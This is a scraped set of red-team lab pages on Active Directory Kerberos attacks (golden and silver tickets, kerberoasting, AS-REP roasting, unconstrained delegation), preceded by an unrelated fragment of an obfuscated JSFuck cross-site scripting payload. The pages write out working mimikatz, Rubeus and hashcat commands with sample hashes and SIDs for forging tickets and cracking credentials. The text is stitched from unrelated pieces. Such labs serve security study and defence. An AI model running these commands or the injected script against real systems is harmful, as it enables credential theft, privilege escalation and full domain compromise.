"; echo ""; echo ""; ?> Copy $sanitized=strtoupper(htmlspecialchars($input)); Copy A' onmouseover='[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()' --- # Kerberos: Golden Tickets | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets.md) . This lab explores an attack on Active Directory Kerberos Authentication. To be more precise - an attack that forges Kerberos Ticket Granting Tickets (TGT) that are used to authenticate users with Kerberos. TGTs are used when requesting Ticket Granting Service (TGS) tickets, which means a forged TGT can get us any TGS ticket - hence it's golden. This attack assumes a Domain Controller compromise where `KRBTGT` account hash will be extracted which is a requirement for a successful Golden Ticket attack. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets#execution) Execution ----------------------------------------------------------------------------------------------------------------------------------------- Extracting the krbtgt account's password `NTLM` hash: attacker@victim-dc Copy mimikatz # lsadump::lsa /inject /name:krbtgt ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKTT282cu6cNUIpWW11%252F-LKTTGoQCPbfhNOZvn0j%252Fkerberos-golden-krbtgt-hash.png%3Falt%3Dmedia%26token%3D5dfb4acb-2195-4df6-9114-e52fcae00bae&width=768&dpr=3&quality=100&sign=ec125f18&sv=2) Creating a forged golden ticket that automatically gets injected in current logon session's memory: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKTT282cu6cNUIpWW11%252F-LKTThyikYYAfLYaxQHH%252Fkerberos-golden-create.png%3Falt%3Dmedia%26token%3D35e44950-4407-43fa-a6bf-67dc9096d6b2&width=768&dpr=3&quality=100&sign=8454ba2c&sv=2) Checking if the ticket got created: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKTT282cu6cNUIpWW11%252F-LKTTt1PNSbb4q3pKN__%252Fkerberos-golden-klist.png%3Falt%3Dmedia%26token%3D6269071e-dd35-488a-bd51-953d56926c35&width=768&dpr=3&quality=100&sign=a78ad99&sv=2) Opening another powershell console with low privileged account and trying to mount a `c$` share of `pc-mantvydas` and `dc-mantvydas` - not surprisingly, returns access denied: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKTT282cu6cNUIpWW11%252F-LKTUC-jFCwRhZEmHe4f%252Fkerberos-golden-denied.png%3Falt%3Dmedia%26token%3D6d243cc0-09de-40e4-b55d-0729c7f6eefd&width=768&dpr=3&quality=100&sign=496583c9&sv=2) However, switching back to the console the attacker used to create the golden ticket (local admin) and again attempting to access `c$` share of the domain controller - this time is a success: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKTT282cu6cNUIpWW11%252F-LKTUnwdX3d7NvIED1zX%252Fkerberos-golden-granted.png%3Falt%3Dmedia%26token%3D0c6c25a9-de40-430c-951c-e4ffddeb818c&width=768&dpr=3&quality=100&sign=5349271e&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets#observations) Observations ----------------------------------------------------------------------------------------------------------------------------------------------- ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKTa4yKU4HPUd1PcIKZ%252F-LKTaCJ_9NhLBtCKSbdV%252Fkerberos-golden-logon.png%3Falt%3Dmedia%26token%3D8068410e-0bf8-4ec3-9cf8-a1240e6a0f49&width=768&dpr=3&quality=100&sign=8028517c&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKTa4yKU4HPUd1PcIKZ%252F-LKTaENWErVWi2AfvFKX%252Fkerberos-golden-share.png%3Falt%3Dmedia%26token%3D3c10cb1c-b8bb-425b-9c12-22711234dcdc&width=768&dpr=3&quality=100&sign=4c4aeb6b&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets#references) References ------------------------------------------------------------------------------------------------------------------------------------------- [Stealthbitsblog.stealthbits.com](https://blog.stealthbits.com/complete-domain-compromise-with-golden-tickets/) [Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active DirectoryActive Directory & Azure AD/Entra ID Security](https://adsecurity.org/?p=1515) [PreviousKerberoasting](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting) [NextKerberos: Silver Tickets](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets#execution) * [Observations](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets#observations) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets#references) attacker@victim-workstation Copy mimikatz # kerberos::golden /domain:offense.local /sid:S-1-5-21-4172452648-1021989953-2368502130 /rc4:8584cfccd24f6a7f49ee56355d41bd30 /user:newAdmin /id:500 /ptt --- # Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled.md) . It is possible to kerberoast a user account with SPN even if the account supports Kerberos AES encryption by requesting an RC4 ecnrypted (instead of AES) TGS which easier to crack. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled#execution) Execution -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- First off, let's confirm we have at least one user with an SPN set: attacker@victim Copy Get-NetUser -SPN sandy ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LeCY_41BsTXRMR1qJh9%252F-LeC_1tcpl1KPWWouoZk%252FScreenshot%2520from%25202019-05-06%252015-37-30.png%3Falt%3Dmedia%26token%3Df711ef7e-0657-4c1a-b433-133e34a933c9&width=768&dpr=3&quality=100&sign=bd0c84df&sv=2) Since the user account does not support Kerberos AES ecnryption by default, when requesting a TGS ticket for kerberoasting with rubeus, we will get an RC4 encrypted ticket: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LeCY_41BsTXRMR1qJh9%252F-LeC_aqPA-VtGrKX8HTD%252FScreenshot%2520from%25202019-05-06%252015-39-53.png%3Falt%3Dmedia%26token%3Dd52ed6f3-4331-4311-9b34-f16dcbc2893c&width=768&dpr=3&quality=100&sign=15379c1f&sv=2) If the user is now set to support AES encryption: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LeCY_41BsTXRMR1qJh9%252F-LeC_ouxkaUpOSwPfS5l%252FScreenshot%2520from%25202019-05-06%252015-40-51.png%3Falt%3Dmedia%26token%3D430bd6f4-14c4-4bb1-a625-b7729f8967c0&width=768&dpr=3&quality=100&sign=51008672&sv=2) By default, returned tickets will be encrypted with the highest possible encryption algorithm, which is AES: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LeCY_41BsTXRMR1qJh9%252F-LeCdtnIC0SuCcEFl5CA%252FScreenshot%2520from%25202019-05-06%252015-58-37.png%3Falt%3Dmedia%26token%3D69335aea-ea5c-4f94-a2b8-43e32082d77d&width=768&dpr=3&quality=100&sign=1ec9f62c&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled#requesting-rc4-encrypted-ticket) Requesting RC4 Encrypted Ticket ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- As mentioned in the beginning, it's still possible to request an RC4 ecnrypted ticket (if RC4 is not disabled in the environment, which does not seem to be common yet): Even though AES encryption is supported by both parties, a TGS ticket encrypted with RC4 (encryption type 0x17/23) was returned. Note that SOCs may be monitoring for tickets encrypted with RC4: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LeCY_41BsTXRMR1qJh9%252F-LeCevY4uZ_2GNzRqOYZ%252FScreenshot%2520from%25202019-05-06%252016-03-06.png%3Falt%3Dmedia%26token%3D68ad84b3-ed76-4e27-b742-ac631b02173f&width=768&dpr=3&quality=100&sign=538443d9&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled#references) References ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [https://www.harmj0y.net/blog/redteaming/kerberoasting-revisited/www.harmj0y.net](https://www.harmj0y.net/blog/redteaming/kerberoasting-revisited/) [PreviousAS-REP Roasting](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat) [NextKerberos Unconstrained Delegation](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled#execution) * [Requesting RC4 Encrypted Ticket](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled#requesting-rc4-encrypted-ticket) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled#references) attacker@victim Copy F:\Rubeus\Rubeus.exe kerberoast /user:sandy attacker@victim Copy F:\Rubeus\Rubeus.exe kerberoast /user:sandy attacker@victim Copy F:\Rubeus\Rubeus.exe kerberoast /tgtdeleg --- # AS-REP Roasting | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat.md) . AS-REP roasting is a technique that allows retrieving password hashes for users that have `Do not require Kerberos preauthentication` property selected: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-L_nj7h01rJKzhElx_RC%252F-L_njEkL2a_oSCa1g0H9%252FScreenshot%2520from%25202019-03-12%252021-08-33.png%3Falt%3Dmedia%26token%3Ddc08b9a5-1cae-4762-a6a0-773735227aad&width=768&dpr=3&quality=100&sign=8098cf98&sv=2) Those hashes can then be cracked offline, similarly to how it's done in [T1208: Kerberoasting](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting) . [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat#execution) Execution ---------------------------------------------------------------------------------------------------------------------------------------------------------- ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-L_nj7h01rJKzhElx_RC%252F-L_nmHUgTJRw2CxdHR0l%252FScreenshot%2520from%25202019-03-12%252021-22-24.png%3Falt%3Dmedia%26token%3Dde5aad10-6bf6-4063-aeb3-9f3025a0a343&width=768&dpr=3&quality=100&sign=4e6ced3a&sv=2) ### [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat#cracking-as-rep-hashes-with-hashcat) Cracking AS-REP Hashes with HashCat Say this is the hash we get for the potential victim: We need to insert `23` after the `$krb5asrep$` like so: We can then crack it: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-L_nj7h01rJKzhElx_RC%252F-L_npxmlILN7TUgT4pmt%252FScreenshot%2520from%25202019-03-12%252021-37-56.png%3Falt%3Dmedia%26token%3D3781e3c1-3d8a-4be8-b339-2a5eec4423c2&width=768&dpr=3&quality=100&sign=fc5a3004&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-L_nj7h01rJKzhElx_RC%252F-L_npw-ORwzSLcje0H5J%252FScreenshot%2520from%25202019-03-12%252021-38-14.png%3Falt%3Dmedia%26token%3Dba2a71fd-2255-40be-84ef-d1df457cd2bb&width=768&dpr=3&quality=100&sign=2eb09a8d&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat#references) References ------------------------------------------------------------------------------------------------------------------------------------------------------------ [https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/www.harmj0y.net](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/) [https://jsecurity101.com/2019/IOC-differences-between-Kerberoasting-and-AsRep-Roasting/jsecurity101.com](https://jsecurity101.com/2019/IOC-differences-between-Kerberoasting-and-AsRep-Roasting/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fblog.xpnsec.com%2Fimages%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=5472aee9&sv=2)@\_xpn\_ - Kerberos AD Attacks - More Roasting with AS-REPXPN InfoSec Blog](https://blog.xpnsec.com/kerberos-attacks-part-2/) [PreviousKerberos: Silver Tickets](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) [NextKerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat#execution) * [Cracking AS-REP Hashes with HashCat](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat#cracking-as-rep-hashes-with-hashcat) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat#references) attacker@rubeus Copy .\Rubeus.exe asreproast Copy $krb5asrep$spot@offense.local:3171EA207B3A6FDAEE52BA247C20362E$56FE7DC0CABA8CB7D3A02A140C612A917DF3343C01BCDAB0B669EFA15B29B2AEBBFED2B4F3368A897B833A6B95D5C2F1C2477121C8F5E005AA2A588C5AE72AADFCBF1AEDD8B7AC2F2E94E94CB101E27A2E9906E8646919815D90B4186367B6D5072AB9EDD0D7B85519FBE33997B3D3B378340E3F64CAA92595523B0AD8DC8E0ABE69DDA178D8BA487D3632A52BE7FF4E786F4C271172797DCBBDED86020405B014278D5556D8382A655A6DB1787DBE949B412756C43841C601CE5F21A36A0536CFED53C913C3620062FDF5B18259EA35DE2B90C403FBADD185C0F54B8D0249972903CA8FF5951A866FC70379B9DA Copy $krb5asrep$23$spot@offense.local:3171ea207b3a6fdaee52ba247c20362e$56fe7dc0caba8cb7d3a02a140c612a917df3343c01bcdab0b669efa15b29b2aebbfed2b4f3368a897b833a6b95d5c2f1c2477121c8f5e005aa2a588c5ae72aadfcbf1aedd8b7ac2f2e94e94cb101e27a2e9906e8646919815d90b4186367b6d5072ab9edd0d7b85519fbe33997b3d3b378340e3f64caa92595523b0ad8dc8e0abe69dda178d8ba487d3632a52be7ff4e786f4c271172797dcbbded86020405b014278d5556d8382a655a6db1787dbe949b412756c43841c601ce5f21a36a0536cfed53c913c3620062fdf5b18259ea35de2b90c403fbadd185c0f54b8d0249972903ca8ff5951a866fc70379b9da attacker@kali Copy hashcat -m18200 '$krb5asrep$23$spot@offense.local:3171EA207B3A6FDAEE52BA247C20362E$56FE7DC0CABA8CB7D3A02A140C612A917DF3343C01BCDAB0B669EFA15B29B2AEBBFED2B4F3368A897B833A6B95D5C2F1C2477121C8F5E005AA2A588C5AE72AADFCBF1AEDD8B7AC2F2E94E94CB101E27A2E9906E8646919815D90B4186367B6D5072AB9EDD0D7B85519FBE33997B3D3B378340E3F64CAA92595523B0AD8DC8E0ABE69DDA178D8BA487D3632A52BE7FF4E786F4C271172797DCBBDED86020405B014278D5556D8382A655A6DB1787DBE949B412756C43841C601CE5F21A36A0536CFED53C913C3620062FDF5B18259EA35DE2B90C403FBADD185C0F54B8D0249972903CA8FF5951A866FC70379B9DA' -a 3 /usr/share/wordlists/rockyou.txt --- # Kerberos: Silver Tickets | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets.md) . This lab looks at the technique of forging a cracked TGS Kerberos ticket in order to impersonate another user and escalate privileges from the perspective of a service the TGS was cracked for. This lab builds on the explorations in [T1208: Kerberoasting](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting) where a TGS ticket got cracked. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets#execution) Execution ----------------------------------------------------------------------------------------------------------------------------------------- I will be using mimikatz to create a Kerberos Silver Ticket - forging/rewriting the cracked ticket with some new details that benefit me as an attacker. Below is a table with values supplied to mimikatz explained and the command itself: Argument Notes /sid:S-1-5-21-4172452648-1021989953-2368502130-1105 SID of the current user who is forging the ticket. Retrieved with `whoami /user` /target:dc-mantvydas.offense.local server hosting the attacked service for which the TGS ticket was cracked /service:http service type being attacked /rc4:a87f3a337d73085c45f9416be5787d86 NTLM hash of the password the TGS ticket was encrypted with. `Passw0rd` in our case /user:beningnadmin Forging the user name. This is the user name that will appear in the windows security logs - fun. /id:1155 Forging user's RID - fun /ptt Instructs mimikatz to inject the forged ticket to memory to make it usable immediately Getting our user's SID as explained in the first step in the above table: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKOW-TxXGxgVJt_NsoH%252F-LKOT31MW-F9XQ9dl177%252Fsilver-tickets-whoami.png%3Falt%3Dmedia%26token%3Dc5db8357-b6f6-4f28-81b0-fda6b5fd5655&width=768&dpr=3&quality=100&sign=2557ff05&sv=2) Getting a user's SID Issuing the final mimikatz command to create our forged (silver) ticket: Checking available tickets in memory with `klist` - note how the ticket shows our forged username `benignadmin` and a forged user id: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKOW-TxXGxgVJt_NsoH%252F-LKOTZW-kHv8wYkCCzlI%252Fsilver-tickets-generated-ticket.png%3Falt%3Dmedia%26token%3D89480823-2f51-48a9-b5e0-322f814925fc&width=768&dpr=3&quality=100&sign=922c1422&sv=2) Note in the above mimikatz window the `Group IDs` which our fake user `benignadmin` is now a member of due to the forged ticket: GID Group Name 512 Domain Admins 513 Domain Users 518 Schema Admins 519 Enterprise Admins 520 Group Policy Creator Owners ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKOW-TxXGxgVJt_NsoH%252F-LKOVuIT9gVZ7i2Wlu2g%252Fsilver-tickets-groups.png%3Falt%3Dmedia%26token%3D7250ade2-eae1-43e2-b7d3-86037bd8c095&width=768&dpr=3&quality=100&sign=5d365260&sv=2) Initiating a request to the attacked service with a TGS ticket - note that the authentication is successfull: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKOW5yEVyaRsq-SW2bf%252F-LKOWwBBzah8KLDwu1gF%252Fsilver-tickets-httprequest.png%3Falt%3Dmedia%26token%3Dc3d8bcd6-cf86-4f79-8f20-e001ab2fa2de&width=768&dpr=3&quality=100&sign=b7a3d210&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets#observations) Observations ----------------------------------------------------------------------------------------------------------------------------------------------- Note a network logon from `benignadmin` as well as forged RIDs: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LKOW5yEVyaRsq-SW2bf%252F-LKOXAonpWBSa_1Qa8A9%252Fsilver-tickets-4624.png%3Falt%3Dmedia%26token%3D8b531a81-33e1-42ff-b7f9-e33b670d50fd&width=768&dpr=3&quality=100&sign=599c386f&sv=2) It is better not to use user accounts for running services on them, but if you do, make sure to use really strong passwords! Computer accounts generate long and complex passwords and they change frequently, so they are better suited for running services on. Better yet, follow good practices such as using [Group Managed Service Accounts](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh831782(v=ws.11)) for running more secure services. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets#references) References ------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fcdn.sanity.io%2Fimages%2Fr09655ln%2Fproduction%2Fb964f02a6b0bac832fa24aebac276c3613011af0-64x64.png&width=20&dpr=3&quality=100&sign=6fe59ef5&sv=2)Silver Ticket Attack | NetwrixNetwrix](https://blog.stealthbits.com/impersonating-service-accounts-with-silver-tickets) [How Attackers Use Kerberos Silver Tickets to Exploit SystemsActive Directory & Azure AD/Entra ID Security](https://adsecurity.org/?p=2011) [PreviousKerberos: Golden Tickets](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets) [NextAS-REP Roasting](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets#execution) * [Observations](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets#observations) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets#references) attacker@victim Copy mimikatz # kerberos::golden /sid:S-1-5-21-4172452648-1021989953-2368502130-1105 /domain:offense.local /ptt /id:1155 /target:dc-mantvydas.offense.local /service:http /rc4:a87f3a337d73085c45f9416be5787d86 /user:beningnadmin attacker@victim Copy Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://dc-mantvydas.offense.local --- # Kerberos Unconstrained Delegation | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation.md) . This lab explores a security impact of unrestricted kerberos delegation enabled on a domain computer. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation#overview) Overview ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- * Unrestricted kerberos delegation is a privilege that can be assigned to a domain computer or a user; * Usually, this privilege is given to computers (in this lab, it is assigned to a computer IIS01) running services like IIS, MSSQL, etc.; * Those services usually require access to some back-end database (or some other server), so it can read/modify the database on the authenticated user's behalf; * When a user authenticates to a computer that has unresitricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory; * The reason TGTs get cached in memory is so the computer (with delegation rights) can impersonate the authenticated user as and when required for accessing any other services on that user's behalf. Essentially this looks like so: `User` --- authenticates to ---> `IIS server` ---> authenticates on behalf of the user ---> `DB server` Any user authentication (i.e CIFS) to the computer with unconstrained delegation enabled on it, will cache that user's TGT in memory, which can later be dumped and reused by an adversary. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation#setup) Setup ---------------------------------------------------------------------------------------------------------------------------------------------------------------- Let's give one of our domain computers/our victim computer `IIS01` unrestricted kerberos delegation privilege: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQ12BBoCApXZHIXwF5-%252F-LQ12YWkbzuuo44ojE-v%252FScreenshot%2520from%25202018-10-29%252022-50-27.png%3Falt%3Dmedia%26token%3D2f9bb34f-5c05-489b-a54c-5ab497180ade&width=768&dpr=3&quality=100&sign=6ea605c7&sv=2) To confirm/find computers on a domain that have unrestricted kerberos delegation property set: We can see our victim computer `IIS01` with `TrustedForDelegation` field set to `$true` - we are good to attack: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LQ13gTidU_m2UPUmD1-%252F-LQ14Riy8ccRh-dsaF4D%252FScreenshot%2520from%25202018-10-29%252023-08-06.png%3Falt%3Dmedia%26token%3Df566d74e-5330-4460-b613-04340525df18&width=768&dpr=3&quality=100&sign=87b13ec8&sv=2) 